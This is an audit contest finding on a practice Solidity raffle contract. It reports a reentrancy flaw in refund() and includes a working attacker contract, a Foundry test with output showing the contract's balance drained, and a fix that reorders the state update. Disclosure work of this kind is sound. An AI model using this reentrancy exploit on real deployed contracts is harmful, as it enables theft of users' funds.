First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentracy attack when calling `PuppyRaffle::refund` means attacker can steal entire contract balance

ciara

PuppyRaffle::refund() does not conform to Checks-Effects-Interactions (CEI) pattern.refund() sets the player address to address(0), effectively removing it from the raffle, after sending the refunded entranceFee. This allows an attacker to re-enter the contract and call refund() recursively until all funds from the contract have been transferred to the attacker's address.

Vulnerability Details

In PuppyRaffle::refund() on line 101 the refund amount equal to the entranceFee is sent to the refunding address. The player address in the players array is set to address(0) on line 103 effectively removing the refunding address from the raffle. This means that the function is performing the effect after the interaction and therefore does not conform to Checks-Effects-Interactions pattern:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

An attacking address can re-enter the contract when the refund is sent and recursively call refund() as their address still passes the checks and their address exists in the players array.

Impact

An attacker can re-enter the contract recessively and steal the entire contract balance. This is a high-severity vulnerability as all funds would be lost including the totalFees and other players' entranceFee, removing the prizePool from the raffle.

Proof of Concept

Working Test Case

The following contract takes a raffle address as a constructor parameter. When funds are sent to the contract, the receive() fallback function is called which calls refund() recursively on the raffle contract, stealing the contract's balance:

import {PuppyRaffle} from "../../src/PuppyRaffle.sol";
​
contract ReentrancyContract {
PuppyRaffle public raffleContract;
​
constructor(address _raffleContract) public {
raffleContract = PuppyRaffle(_raffleContract);
}
receive() external payable {
if(address(raffleContract).balance > 0) {
uint256 index = raffleContract.getActivePlayerIndex(address(this));
raffleContract.refund(index);
}
}
}

This test enters some players into the raffle to provide some funds to steal, funds the attacking contract, and enters it into the raffle. The attacking contract then calls refund(). To see if the attacking contract has stolen the entire puppyRaffle contract balance, there is a check that the raffle contract balance is equal to zero.

function test_poc_reentracyRefund() public playersEntered {
address[] memory players = new address[](1);
ReentrancyContract attacker;
attacker = new ReentrancyContract(address(puppyRaffle));
​
vm.deal(address(attacker), 1 ether);
​
players[0] = address(attacker);
puppyRaffle.enterRaffle{value: entranceFee}(players);
​
console.log("PuppyRaffle balance before attack: ", address(puppyRaffle).balance);
console.log("Attacker balance before attack: ", address(attacker).balance);
​
vm.startPrank(address(attacker));
uint256 index = puppyRaffle.getActivePlayerIndex(address(attacker));
puppyRaffle.refund(index);
​
console.log("PuppyRaffle balance after attack: ", address(puppyRaffle).balance);
console.log("Attacker balance after attack: ", address(attacker).balance);
​
assertEq(address(puppyRaffle).balance, 0);
}
$ forge test --mt test_poc_reentracyRefund -vvvv
​
// output
Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest
[PASS] test_poc_reentracyRefund() (gas: 379208)
Logs:
PuppyRaffle balance before attack: 5000000000000000000
Attacker balance before attack: 1000000000000000000
PuppyRaffle balance after attack: 0
Attacker balance after attack: 6000000000000000000
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.97ms

The test passes meaning that the attacking contract successfully stole the entire raffle contract balance by transferring the balance to itself, leading to a zero balance left on the puppyRaffle contract.

Recommended Mitigation

Conform to CEI by performing the effect before the impact:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+ players[playerIndex] = address(0);
payable(msg.sender).sendValue(entranceFee);
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Now, when a contract attempts to re-enter, the player address will no longer exist in the players array, so the attacker will no longer be calling refund() with the address at their previous playerIndex and the function will revert with "PuppyRaffle: Only the player can refund".

Tools Used

  • Forge

Updates

Lead Judging Commences

Hamiltonite Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.